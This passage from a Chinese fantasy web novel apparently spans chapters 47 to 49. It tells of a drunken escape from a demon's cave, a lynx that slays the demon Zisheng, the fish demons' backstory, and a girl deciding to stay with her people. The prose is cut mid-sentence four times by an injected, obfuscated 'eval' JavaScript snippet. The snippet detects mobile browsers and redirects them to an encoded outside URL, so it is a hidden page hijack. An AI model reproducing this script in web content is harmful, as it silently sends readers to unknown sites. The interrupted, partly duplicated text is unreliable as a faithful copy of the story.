紫笙有几分犹豫,想说将这结界破了再庆祝也不迟,但他想了想,到底什么都没说,笑着走过去与她对饮起来。 毕竟人家不是自己的下属,她都说累了,他还能逼着人家继续吗? 再说了,这种实力非凡的大妖大多喜怒无常,万一惹怒了她,反对他们动起手来可怎么办? 明日就明日吧,这么多天都等过来了,也不急在这一天。 于是在众妖的恭维声里,林子满拉着紫笙喝了一坛又一坛,直将他们带着的酒都喝见底了才放过他。 主子在尽兴喝酒,手下自然也能跟着讨几杯酒乐呵乐呵,就这般闹了许久,洞内才慢慢安静下来。 趴在桌上的秦扬悄然睁开眼,瞥了眼桌上横七竖八歪着的人与妖。 为了不引起紫笙的怀疑,他们几人都喝了不少,但都不及林子满喝得多。 她为了灌醉紫笙,只能陪着他一杯接一杯地往肚里倒,也不知这会儿还醒着没。 秦扬手指微动,两根淡青色的细丝从他指间飞出,分别落在林子满和紫笙身上,而紧闭双眼的一人一妖毫无察觉。 随后他撑着桌子站起来,佯作头晕地晃了晃,按着额角踉踉跄跄地朝外走去。 旁边有妖见他这副模样,迎上来关切地问了一嘴。 秦扬抬手挥退他,嘴里含糊不清地说:“无妨,喝醉了脑子有些晕,我出去醒醒酒。” 待走到洞外,秦扬在暗河边蹲下,盯着水面发起了呆,这一待就是许久。 这地下并无其他生灵,十分安静,散发着微光的莹莹河水静静流淌着,时不时与石壁碰撞发出一两声沉闷水声,在甬道里回荡成空灵的轻响。 守门的两只妖看他蹲在那儿一动不动,只将手浸在水里,时不时撩动两下,不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902863|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相对视一眼,以眼神交流:别的妖喝醉了都是大吵大闹,这妖发酒疯的方式可真别致,竟然爱玩水,这莫非是只鱼妖? 他们正挤眉弄眼“聊”得开心,一转眼就见蹲在那儿玩水的秦扬不知何时站了起来,摇摇晃晃地向他们走来。 在离他们还有几步远时,秦扬忽然一个踉跄,好似被石子绊了脚,直直地朝他们砸过来。 二妖赶忙上前将他扶住,一左一右搀着他打算朝洞穴里走。 秦扬倒也十分配合,主动将手搭在他们肩上,微微用力站稳了身子,并未将全身的重量压在他们身上。 还是这样的醉鬼好伺候,既不发酒疯喊打喊杀,也不像一滩烂泥般任由别人生拉硬拽。 两只妖正感慨着,脖颈突然传来一阵剧痛,眼前一黑就厥过去了。 秦扬将放倒的两只妖悄悄拖到一旁的巨石后,然后继续装作一副酒醉的样子向洞里走去。 洞里大部分妖都昏昏沉沉地垂着眼,只有几个负责看守的还在尽职尽责地盯着。 秦扬在桌上挑挑拣拣,拎起两坛还有些底的酒朝他们走去:“来!各位弟兄都辛苦了,也来喝两口放松放松!” 那几只妖婉言推拒了几次,终究还是没抵住他仗着酒意耍赖。 他们本就有些意动,只是怕紫笙责罚他们玩忽职守才一直忍着,如今看着秦扬这般热情地邀请他们,肚里的馋虫哪还忍得住? 于是他们席地而坐,又开始推杯换盏起来,不过这次声音小了许多,连扯闲话都压着嗓子,生怕吵醒紫笙他们。 如此一来,为了听清别人口中的话,他们不自觉将头凑在了一起,围坐的圈子越来越小,抬眼也只能看见一颗颗黑压压的头。 水潭里的黑白双鱼悄悄探出头来,静静观察片刻,趁着无人注意他们时,悄无声息地从水里上了岸,身形一晃便朝着洞外冲去,速度飞快地遁走了。 秦扬眼角余光瞥见这一幕,在心里默默数了几个数,而后皱起眉,有些疑惑地问:“你们刚刚听见什么声音了吗?” 那只正高谈阔论的妖话忽然被打断,有些不高兴地说:“哪儿有什么声音?你一惊一乍地干什么?” 秦扬不理他,继续说:“我刚刚好像听见了水声。” “哪来的水声,你刚刚莫不是晃了晃头,听见了自己脑袋里的声音,哈哈哈哈——”那只妖见他不搭理自己,反而还在那说什么声音,更加恼怒了,忍不住讽刺挖苦道。 他正为自己想出了这么一句有水平的话而洋洋得意,耳朵却敏锐地捕捉到一丝异样的声音。 怎么真的有些像是水声? 他的笑声戛然而止,像是想到了什么,猛地站起来,朝自己负责看守的水潭望去。 水珠自上方滴落,砸在水面上发出清脆的“滴答”声,一圈圈涟漪在水面荡开,潭底空无一物。 喝了酒的脑子反应有些慢,他茫然地站在那儿,有些疑惑地想,自己的眼睛是出了什么毛病吗?怎么看不见水里的那两只鱼妖了? 直到听见有人高声叫道:“不好!那两条鱼妖跑了!” 他才好似遭了当头一棒,猛地清醒过来,意识到发生了什么。 他的脸色刹那间变得惨白,额头上全是冷汗,一颗心如浸在雪地里般冰冷。 紫笙有多在意这双鱼妖,长了眼睛的都看得出来,如今却在他看守的时候让他们逃了,事后追究起来,他还能有命活吗? 47. 山猫 紫笙被那一声高喝惊醒时,脑子还晕沉沉的,但他很快反应过来,怒气冲冲召集了手下就要去追。 林子满迷瞪着一双眼,见状连忙跟在他们后面,加入了追踪的队伍。 原本他们的计划是只让林子满一人跟去即可,毕竟她修为最高,脱身也最为方便。 但此刻秦扬却有些担心,她喝了那么多酒能行吗? 于是脚步一转也想与她一同去,却被林子满以眼神拦了下来。 洞内还留着几只看守的妖,石云的族人不在少数,又被迷晕了行动不便,万一逃出去的时候又碰到其他妖,只靠时客与莫叶声实在应付不来。 秦扬无法,只来得及对她说了句“你当心些”,就看着他们匆匆离开了洞内。 洞外并没有其他的路可走,不用想也知道那两只鱼妖定是一头扎进暗河里游走了。 林子满本以为他们会分成两拨,沿着上下游分别去找,正想着该找个什么由头,才能说服大部队往上游去,没想到紫笙挥挥手,就有一妖走上前来,俯下身子,掬了一捧水送进嘴里。 仔细分辨片刻后,他转身对紫笙道:“水里有他们的味道,应是往上游去了,味道还浓,应该还没跑远。” “追!” 紫笙一声令下,群妖踏水而行,沿着暗河匆匆往前追去。 若在全盛状态下,即便是在水中,紫笙的速度也比那双鱼妖快上许多,所以上次才能那般轻易将他们困在洞穴里。可今夜实在饮了太多酒,不光脑子混沌,连脚程都慢了许多。 更别说上游多岔路,每每遇见便要停下来等那妖尝水辨方向,因此虽说鱼妖没逃远,他们却一直没追上。 就这么追了好一阵,紫笙正要气急败坏时,忽见不远处一条黑色鱼尾闪过,在莹白的河水中格外显眼。 他瞬间转怒为喜,声音都激动了几分:“就在前面!给我追!” 眼见着就要追上,坠在队伍后方的林子满心里一沉,不动声色将手覆在储物镯上,随时准备着从里往外掏东西。 忽然,“咚”地一声巨响传来,水面溅起巨大的水花,像是有什么东西狠狠砸进了水里! 待水花坠回河里,才看清前方立着一只巨大的山猫,四肢长而矫健,耸立着黑色长毛的耳朵不耐烦地晃动着,一双金灿灿的圆睛正一眨不眨地瞪着他们。 跑在最前方的紫笙急忙停住了脚步,猛地顿在原地。 看见他,那只大山猫不自觉伸出舌头舔了舔嘴角,涎水顺着尖利的牙往下淌,它抬起沾湿了毛发的腿,蹚着水一步步朝他们走了过来。 这是明显的来者不善了,紫笙咬紧牙关,厉声喝道:“杀了它!” 他说得气势汹汹,但声音里却隐隐含着恐惧,显然是色厉内荏。 那只山猫冲进众妖的包围圈,如入无人之境般将一群妖撕咬得七零八落。 不多时,还站着的就只剩一个紫笙了,不过他此时也是十分狼狈,身上有好几处险险擦着致命处而过的伤口,几次想往后逃都被山猫拦了回来,喘着粗气瞪着眼前的庞然大物。 空气里满是血腥味,连莹白的河水都被染成了淡淡的粉色。 林子满脚踩一块凸出的石头,轻盈地挂在石壁上,借着交错的光影挡住自己的身体。 紫笙看着朝他扑来的山猫,仰颈长啸一声,身形一晃,原本高挑的青年消失在原地,取而代之的是一头油光水滑的巨貂。 巨貂龇着尖牙,嘴里发出示威的叫声。 但山猫体型比它大得多,对此丝毫不惧,舔了舔嘴边的鲜血,就扑上去与它撕咬起来。 暗河被扑腾出一阵阵水花,兽吼声回荡在甬道里久久不散,震得人耳膜发疼。 不多时,这场巨兽间的争斗就分出了胜负,山猫一口咬在巨貂的脖颈处,尖牙入肉。 隔着这么远的距离与哗哗的水声,林子满都听见了一声清脆的“咔哒”声,那是颈骨断掉的声音。 待嘴里的貂彻底没了气,山猫伸出利爪,沿着它的胸膛往下狠狠一划,随后扒住裂开的肚猛地往两边一撕,爪子在腹腔内搅动一番,从一堆内脏里掏出一颗闪着微光的妖丹。 拿到自己想要的东西,山猫吐掉口中软掉的尸体,随意拍出一掌,巨貂霎时四分五裂,碎得到处都是,头颅飞出撞在石壁上,巨大的力道竟将石壁撞出了一个坑,牢牢嵌在上面。 林子满屏住呼吸,掐指成诀敛去周身气息。这山猫战力凶悍,实在不好与它正面对上。 好在那山猫也无意在此多做停留,在水中打了几个滚,将皮毛上沾着的血肉冲掉,便迈着步子朝远处跑去,几个起落间便消失在视野里。 林子满从石壁上跳下来,若有所思地看着它离去的方向,不知是不是她的错觉,她总感觉那只山猫在离开前好像看了她一眼。 但怎么可能呢? 照它先前那般残暴嗜杀的模样,若发现还有漏网之鱼,怎会就这样放过? 想不出个所以然,林子满只好将其归为自己多心了。 已经重归平静的暗河传来“哗啦”一声,一黑一白两个身影自水面探出头来。 林子满循声看过去:“你们没事吧?” 双生鱼妖扎入水中,再次露头时已至林子满身前。 “你为什么要帮我们?”一身白衣的哥哥开口。 林子满蹲下身,撑着下巴看他们:“也不算帮你们,我也需要你们帮我引开他们,这叫各取所需。” “你不是妖吧?你是人族?”身着黑衣的妹妹忽然问道。 林子满眉头一挑,有些惊讶:“你是怎么看出来的?” 黑鱼妖道:“你的实力应该不在那只貂妖之下,若想脱身或者杀了他,不必这样大费周章,引开他们是为了救洞里那些人族吧?” 他们虽被困在水潭中,却一直关注着外界的动静,自然知道当时洞里还有一群被捉的人族。 “你很聪明啊。”林子满看她年岁不大,说起话来却头头是道,倒不似紫笙说的那般,常年居于暗河中,少与外界打交道。 被这般直白地夸了一句,方才还老气横秋的女孩顿时有些不自在地移开了眼,两颊悄悄泛起红晕。 林子满看得好笑,到底还是个单纯的小姑娘,被夸两句就害羞了。 “刚刚那只山猫,你们知道是怎么回事吗?”林子满问道,这双鱼妖一直潜在暗河里,山猫却不曾为难他们。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902864|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑鱼妖摇了摇头:“我们本来都快将追兵甩下了,结果那只山猫突然出现,将我们堵住,还逼我们去将他们引过来。” 林子满了然,那只山猫潜伏在石壁顶部,待他们将紫笙一行引过来,它便一跃而下,将其一网打尽。 这样看来它是有备而来,目的十分明确,就是冲着紫笙来的。 难不成是紫笙往日里结下的仇家?趁他这次离开灵泽,孤立无援,特来取他的性命? 但这也与她无甚干系,紫笙并非什么良善之辈,为非作歹的事平日里也没少干,此次死得这样凄惨也算得上罪有应得。 不再想那山猫与紫笙的事,林子满拍拍黑鱼妖的头:“往后还是谨慎些吧,这暗河里来来往往的妖也不少,若再大意被抓,可就没有这次这般好运了。” 看着他们还稍显稚嫩的脸庞,林子满疑惑:“你们父母就这么放心让你们两个孩子在这里乱跑?莫非你们是偷跑出来玩的?” 黑鱼妖脸上的失落一闪而过,她的声音闷闷的:“若他们还在,自然不会让我们落到那样的险境。” 林子满一怔,语带歉疚地说:“抱歉,我不知道……” “没关系的,他们已经离开很久了,我和哥哥早就已经接受这个事实了。”黑鱼妖笑了笑,又有些好奇地问,“人族都是像你这样的么?阿娘跟我讲过的人族为什么与你不同?” 林子满打趣:“哪里不同?莫非你阿娘讲的故事里,人族都是三头六臂的吗?” “倒不是长得不同。”黑鱼妖摇摇头,“阿娘说人族贪婪又恶毒,唯利是图,并且坚信什么‘非我族类,其心必异’,向来视妖族为眼中钉,你救我们当真不是另有所图吗?” “你们有什么值得我图谋的么?”林子满看她问得一本正经,忍不住起了捉弄的心思,“你这样问,难不成是身怀异宝?这样看来,我不能就这般轻易放你们走了啊。” 二妖脸色一凝,顿时如临大敌,可他们也深知自己不是眼前之人的对手,因此没有莽撞地转身就逃。 “我们身上没有什么异宝!妹妹她只是好奇心重,多问了几句,并无其他的意思!”白鱼妖神情诚恳,语气紧张地说道。 林子满忍俊不禁:“好了好了,我逗你们的,并不是真的要对你们做什么。” 见他们仍然一脸警觉,林子满只得放缓语气,循循善诱道:“那我听说过的妖族还都是杀人不眨眼的呢,你们身为妖,难不成也是这样?” “种族与身份从来不是评判善良与否的标准,人族与妖族并无太大区别,都会有好有坏。” 说到这儿,林子满忽然想到什么,问道:“你阿娘是在何处见过的人族?” 听他们话里的意思,他们的父母似是与人族打过交道且落于下风,才会怨气颇重,可人族在妖都处境艰难,连自保都成问题,又哪来的本事让这连紫笙都奈何不了的鱼妖吃亏呢? 黑鱼妖稍作犹豫,与哥哥对视一眼,神神秘秘地说道:“看在你救了我们的份上,我就告诉你一个秘密吧,你可千万不能跟别人说哦。” 见林子满郑重地点了点头,她才轻声开口。 “其实,我阿爹阿娘是从人界回来的。” 48. 锦鲤 几百年前,人界一座不起眼的道观里。 一名年纪不过八九岁的小道士,在袇房里偷偷养了两尾漂亮的锦鲤。 这小道士并非年纪轻轻就一心向道,只因从小体弱多病,几次险些夭折,后经一位老道点拨,说其命格薄弱,只有远离红尘俗世才能保命,父母才狠心将他送来道观修行。 道观的生活简单又清静,小道士正是活泼好动的年纪,日日跟一群只知谈经论道的牛鼻子老道生活在一起,实在是无聊透了! 父母怜惜这个命苦的幼子,见其一人在山上孤苦,便带了两尾锦鲤与其作伴。 这个小道士也是个奇人,别的娃娃在这个年纪都喜欢招猫逗狗,亦或是聚众斗蛐蛐,他偏偏不同,对那些一概不感兴趣,就爱水里这些鱼啊龟啊之类的。 这一黑一白两尾锦鲤,是他养的一堆鱼里面,最稀罕的两条。 山上岁月难捱,孤独的小道士没有同龄人一起玩乐,只能抱着鱼缸,跟自己心爱的锦鲤说说心里话。 这两尾锦鲤就这样成了他最好的,也是唯一的朋友,只要看着它们在水中游弋,小道士便觉得开心。与它们在一处,就连诵习那枯燥的经书,都变得有意思起来。 日复一日,年复一年,小道士逐渐长大成人,两尾锦鲤也在一句句诵经声中开了灵智,成了能够吸收天地灵气的妖修。 已经长成俊秀青年的小道士身体依旧孱弱,虽不再像幼时那般动不动就病重濒死,也是个一步三喘的病秧子,因此只能继续留在道观静修。 儿时的孤独尚且能靠两尾锦鲤排解,此时他胸中的寂寞已无处可诉说,身虽在深山,他的心却早已入了红尘。 他不再对锦鲤说山中的花、树上的蝉,或是古板无趣的师父,只会喃喃自己的身体何时才能好。 锦鲤不懂他对俗世的向往,只知道他一直因自己的身体郁郁寡欢。 如果他的身体能变好,他就会开心吧?两条锦鲤想,他就会像从前一样,日日笑着对它们滔滔不绝了吧? 于是它们不惜献出自己全部的妖力,助他改善体质。 由于过度透支妖力,它们的神思陷入昏沉,重又变回两条普通的鲤鱼,每日只知吃食吐泡。 直到数年后,它们在道观后院的水池里再次醒来。 世间已过去上千日的光阴,于它们而言不过只是睡了一觉,但这一觉醒来,却已物是人非。 一直陪伴它们的小道士,早已不见踪影。 他得偿所愿,拥有了强健的身体,终于能下山去过那热闹的日子,这两尾曾经视若珍宝的锦鲤,就变得普通起来,毕竟山下有数不清的锦鲤等着他挑,比它们漂亮珍稀的比比皆是。 它们就这样被留在了道观里。 道观建于深山,往来不便,又无甚稀奇的显灵之事,香客渐渐的便不爱来了,在此修行的道士也越发稀少,道观就这样慢慢没落了。 最后一任观主驾鹤西去后,这儿便彻底荒废了,再无一人踏足,偌大的道观只余池中两尾锦鲤。 冬去春来,夏隐秋至。待到院里的野草长得比人还高时,已看不出原貌的道观里走出来一对年轻人。 少年剑眉星目,面如冠玉。少女螓首蛾眉,目若秋水。 二人站在萋萋荒草中,茫然又新奇地透过云雾看着山下。 山下的世界当真有那般好吗? 好到他们的主人不顾多年的情谊,对他们弃如敝履。 他们带着这样的困惑下了山,却在山下的世界里吃尽了苦头。 与普通妖兽得天道垂怜以开灵智不同,他们自小受经书道法熏染,即便化作妖修,也是一心向善,骨子里依旧是亲近人族的。 未经世事的小锦鲤不懂人心险恶,轻易暴露了身份却没有足够的能力保护自己,在人界东躲西藏,苟且偷生。 他们对人界失望了,开始和那些受尽欺凌的妖兽一样寻找返回妖都的方法。 不知是幸还是不幸,比他们强大很多的妖修都没能找到回去的路,他们二人却误打误撞进了妖都。 本以为回到妖都,就可以结束被人族排挤、追杀的日子,却不知道他们来到了一个更加弱肉强食的世界。 他们妖力低微,没有反抗的余地,最终只能选择躲在这地下暗河,不见天日地度过余生。 林子满听得唏嘘,鱼妖的父母在人界时受他族倾轧,回到妖都迎来的却是同族的爪牙,怪不得从此隐而不出,也不准自己的孩子离开暗河。 “既然阿娘说的不全都是对的,那外面的世界是不是也没有那么危险?我们是不是也能去地上玩一玩?”黑鱼妖问道,语气里含着一丝藏不住的期待。 “地上可是有很多像紫笙那样强大的妖修,难道还不算危险吗?”林子满有些稀奇,“你们经此一劫,还想去地上,难道不会怕吗?” “可是我听你们话里的意思,并不是所有的妖修都像他那样强,边缘地界的妖连人形都难以维持,他们有什么可怕的呢?更何况,连没有妖力的人族都能活下来,我们为什么就不行呢?” 林子满张了张嘴,却不知该如何劝阻。 他们睁着一双圆溜溜的眼看着她,里面闪动的光芒在这阴暗的地下都清晰可见,那是对世界的好奇与向往。 与那个小道士一模一样。 林子满眼睫微垂,在心中默默叹了口气,拦不住的。 即便现在吓退了他们,终有一天,他们也会鼓起勇气,找各种各样的理由离开这里。 于是她只能说:“想去便去看看吧,只是要小心谨慎些,最好别与那些大妖打交道。若实在躲不过,与旁人起了冲突,打不过就一定要快跑,知道吗?” 黑鱼妖被她逗得咯咯笑起来:“你这么厉害也会说这样的丧气话吗?” “那当然!”林子满理直气壮,“再怎么厉害也会有打不过的人,这时候跑就是唯一的办法。” “好,我们记住了,打不过就跑。”话少的白鱼妖微微笑着点了点头,“毕竟活着才是最重要的。” 告别了黑白鱼妖,林子满沿着暗河往下游掠去,顺着秦扬说过的石窟跳上去,一座秀美的山谷浮现在眼前。 此时正是晨光熹微,鸟兽初醒的时刻,远处不时传来一两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902865|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清脆鸟啼,衬得这山谷愈发幽静。 林子满才往前走了几步,就见草丛微晃,秦扬从中走了出来,一见着她,立马直直地朝她走来,像是一直等在这儿一样。 “你没事吧?”他快步走至林子满身前,眼神上下扫量一番,见她身上并无伤痕,才微微松了口气。 “我没事。”林子满将与他们分开后发生的事大致说了一遍,随后问道,“他们人呢?” 秦扬引着她往前走去:“他们在前面一处隐蔽的地方藏着。时客为那些昏迷的人仔细看过了,他们并无什么大碍,休息一阵就能醒来了。” “你们一路上没遇到什么麻烦吧?”林子满问。 秦扬摇摇头:“洞内留着的几只小妖不足为惧,哪怕只有时客一人也能轻松解决。倒是在石窟那儿,碰上了一只不知什么时候偷溜出来的妖,当时我们正忙着将那些昏迷的人搬上来,没留神竟让他挟持了石云。” 林子满一惊,连忙追问:“那她怎么样?没事吧?” 秦扬还没来得及说话,他们已经走到了众人藏身之处附近,林子满一眼就看到了坐在最边上的石云。 她一双眼睛亮得慑人,冷白的小脸上还有几滴未擦净的血迹,正神情戒备地守卫着自己昏睡的族人。 林子满的眼神下移,落在她手中紧紧握着的那把“匕首”上,说是匕首,其实只是用不知哪头妖兽的利齿磨出来的,远不如人界锻造出来的兵器坚硬,而此时,那质地惨白的骨头上正凝着殷红的血。 耳边传来秦扬的解释:“也不知她哪来的力气,竟然一刀刺进了那只妖的心脏,速度之快,用劲之狠,一击毙命,那只妖连反抗都没能反抗一下。” 闻得前因后果,林子满眼神变得有些复杂,石云今年不过十一二岁,放在人界还是个不懂事的孩子,却在这险象环生的地方被迫早早长大,直面比自己强大得多的敌人。 “迟渊留下的灵符能隐匿五六个人的气息,除去我们四人,还能带一两人走,我想带她一同离开这里。”林子满轻声说,石云还这么年轻,还有大好的时光,不应该就这样在这阴暗的地方度过余生。 “你要告诉他们实情?”秦扬皱了皱眉,并不太赞同,“你不怕他们起歹心吗?毕竟没有几个人能抵挡这样的诱惑。” 他的担心并不是没有道理,妖都的人族与困境之兽并无太大区别,他们为了活下去,可以不惜一切代价,若他们知道自己有机会离开这个地狱般的地方,有几人会不心动呢? 世上多的是被自己的善心反噬的人,他们带着怜悯试图拯救那些可怜人,却被那些所谓的弱者啃食得一干二净。 当实力不够强大时,连施舍善意都要小心翼翼。 “我不会跟其他人透露的,毕竟人心是最经不起考验的,我也不希望他们因此同室操戈。”毕竟只有一两个名额,很难说不会有人因此争得头破血流。 “但石云,我还是愿意试着去信一信的。” 说到这儿,林子满戏谑地看向秦扬:“再说了,不是还有你么,若我信错了人,我们两个总不至于连个小姑娘都奈何不了吧?” 49. 抉择 秦扬见她抿起嘴角,露出一个有些狡黠的笑,微弯的眼睛里盛满了笑意,不由看得怔了怔。 她极少在他面前露出这样灵动鲜活的一面。 林子满看他呆呆的样子,后知后觉自己方才有些失态,不符合她一贯的作风。 她有些尴尬地摸摸鼻子,正想着说点什么来挽回自己长老的颜面,就见秦扬展颜一笑,眼角眉梢的笑意好像使得吹过的风都轻柔了几分。 “好,你想怎么做都可以,有我呢。”他的声音亦如暖阳微风般温柔。 秦扬本不愿多事去管这些人族,人各有命,即便救也不过只能救一两个,既如此,救与不救又有何区别?他们还能少担许多风险。 但那一句“不是还有你么”让他极为受用,让他觉得自己是被依赖着、被需要着的,为了她这句话,让他做什么都可以。 低沉的声音好像顺着耳膜穿进了骨子里,沿着她的脊背一路搔了下去,惹得她半边身子都麻了,林子满揉了揉有些发红的耳朵,不自在地撇开目光。 她眼神乱晃,往前紧走几步,打破了这暧昧的氛围。 有些凌乱的脚步声引起了石云的注意,她握紧手中的匕首,眼神锐利地望过来,待看清来人时,眼里的警惕瞬间被喜悦取代。 她站起身,快步迎上前来,有几分激动地问:“你没事吧?” 林子满摸摸她的头,轻笑着摇了摇头。 “这次多亏了你们,不然我还真不知道该怎么救出哥哥他们。”石云看着他们,语气十分认真,“日后若你们有什么用得到我的地方,定然赴汤蹈火,在所不辞!” 虽然不觉得自己会有需要一个小姑娘赴汤蹈火的一天,林子满还是郑重其事地点了点头,应下了这份承诺。 待仔细看过依旧昏睡不醒的一群人,确认他们没有什么大碍后,林子满将石云拉到一处僻静的角落。 犹豫片刻,她还是决定如实相告:“其实我们并不是妖都中人,我们自人界而来,先前骗你也是为了隐瞒身份。” 听懂她话里的意思后,石云惊讶地睁大眼睛,难以置信地重复了一句:“你们,是从人界来的?” 见林子满表情认真地点点头,并不是在开玩笑,她愣了好一会儿才喃喃道:“……原来真的有人界啊。” 虽然他们总说自己最大的愿望就是回到人界,但其实很多人心里都有一个疑问,那就是人界真的存在吗? 人族寿命短暂,上万年来已过去了不知多少代,曾见过人界的半妖早就死绝了。 他们生在妖都,长在妖都,从没有人见过人界。那只是一代代人口口相传的故事里,一个无比美好的地方,一个可以不必再受欺凌与屠戮的地方。 久而久之,人界对他们来说,几乎成了一个信仰一般的东西,虚幻又遥不可及。 如今忽然听到有人说是从那个传说中的人界而来,第一反应不是羡慕或嫉妒,反而有一种不真实感,原来人界竟然真的存在。 “你们是怎么来到这儿的?”石云思绪回笼,问出了自己最在意的问题,“既然你们能从人界来妖都,那我们……是不是也能去人界?” 林子满看着她充满希冀的眼神,有些不忍:“我们是用了特殊的术法才来到这里的,也确实有办法回去,但只能多带一两个人走。” 这话的意思就是他们绝大部分人是没办法出去的,石云顿时失望地垂下了眼睫,听到林子满继续说:“你要不要跟我们一同离开?” 石云:“我出去了还能回来吗?” 林子满摇了摇头:“大概是不能了。” 迟渊曾说过,那传送阵极为复杂,是蕉林谷数名长老耗费了七八年的时间才布置完成的。此间事了,他们的全副心神应该就会放在如何加强隔绝大阵上,再无空闲来绘制这耗时耗力的传送阵。 石云垂着头想了许久。 林子满知道这很难抉择,即便人界是他们梦寐以求的地方,她也有割舍不下的族人。 “你还小,人生还有很长的路要走,去人界你会有完全不一样的人生。而且你的根骨不错,如果能回到人界,就能走上修仙之路,将来说不定有希望将族人全都接出去。” 但她们都知道这话只是宽慰,修仙一途何其艰辛,凡人寿数不过几十载,恐怕她还未有所成,族人早都已经埋骨泉下。 许久的沉默过后,石云轻声开口了:“你能跟我讲讲人界是什么样的吗?虽然妘娘娘从前也经常给我们讲人界的故事,但我知道那些也都是她听来的,她跟我们一样,从未见过人界。” 林子满怔了怔,心下了然,她从未去过人界,又怎么能为此舍下亲人呢?她应该是想听听人界到底是怎样的,再决定去留。 “人界啊……怎么说呢,很复杂,有好有坏,也并不如你们以为的那样,是这世上最美好的地方。”林子满眼睛微眯,望向远方,东方天际晕出大片橘色,一轮红日正缓缓冒出头来。 “人界的日出也像这般漂亮,花草树木,山川湖泊,日月星辰,其实与这里都没有多大的区别,两界唯一的不同,就是生长于其中的生灵。” “人界分为凡间与修真界,修士在灵气充沛的修真界追寻天道,凡人则在灵气稀薄的凡间建立属于他们自己的王朝秩序。凡间与修真界之间有一层薄薄的屏障,凡是身怀灵力者皆能轻易进入,而不具备灵根的人,若无他人引领,究其一生也找不到通往修真界的路。” 石云问:“这样对那些人来说岂非不公平?”他们现在就像那些无法修炼的人一样,怎么都找不到去往人界的路。 “这世界本就不公平。”林子满轻叹一声,“但那道屏障却并非是为了针对那些凡人,反而是为了保护他们。” “修仙与其他事不同,是一件极看天赋的事,有十几二十岁就踏入金丹境界的天才,也有修到白发苍苍依旧不能筑基的人,这在修真界并不是什么稀罕事,天资是一道迈不过的天堑,勤能补拙这句话在修仙一途上是行不通的。” “若那些根本没有灵根,亦或是天资极差的人也能进入修真界,面对这种残酷的差距,他们能坦然面对吗?若是穷极一生来追逐一件根本没有结果的事,又何其可悲?但他们若待在凡间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902866|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总能凭自己的努力获得不一样的人生。” “而且凡间也并不比修真界差。修士的寿命长得多,又一心向道,于许多事上都很淡薄,不像凡人那样将短短的一生过得轰轰烈烈,因此修真界远不如凡间那般有烟火气。” “我曾在凡间待过几十年,一路走一路看,从江南水乡看到塞上黄沙,沉醉于吴侬软语,也体会过粗犷奔放的热情。每个人都过着不一样的生活,或许会有不如意,有时也会愤世嫉俗,可他们都在努力地活着。” …… 林子满细细碎碎地说了许久,从凡间的风土人情讲到修真界的奇闻轶事,想到什么说什么,连一山漂亮的花也要拿出来说一说。 石云一直安静地听着,丝毫没觉得不耐烦。 直到不远处传来一阵喧闹,有个年轻男子的说话声响起。 石云听见这声音顿时眼前一亮,往众人藏身之地望去:“是哥哥醒了!” 她不自觉朝那个方向走出几步,想到什么又停了下来,转头看向林子满。 “你想好了吗?”林子满脚步轻移,走至她身侧,“若决定同我们一起离开,刚好与他们好好道个别。” 沉默片刻,石云的声音响起。 “我想好了。”她的声音很轻,却又十分坚定,“虽然我也很想去看看繁荣昌盛的凡间,但我还是想留下来。” “我知道去人界以后我会过得比现在轻松很多,但我最重要的人都在这里,即便活得艰难,我也要留下来。我想保护他们。”就像妘娘娘一直以来做的那样。 她没有妘娘娘那样的美貌与聪慧,但她会尽自己最大的努力守护好的族人。 既然他们的神已不在,就自己当自己的守护神吧。 林子满在心里轻叹一声,其实她已经猜到会是这样的结果。 像石云这般重情义的人,怎么可能真的舍得丢下族人,独自去过不一样的人生? “这样也好,能与自己所爱之人待在一起,也是这世上很多人难求的幸福。”林子满与她一同往回走,“既然你哥哥他们已无大碍,我们也该离开了。” 听到这儿,石云再次感激道:“此次真是多谢你们了。其实我们的死活与你们并无干系,可你们却还是愿意冒着风险帮我救哥哥他们。我先前以为自己怎么也能帮上你们点什么,略还一点恩情,现在看来还是我托大了。” “抱歉啊,你们帮了我们这么多,我却没什么能为你们做的。”她愧疚地说。 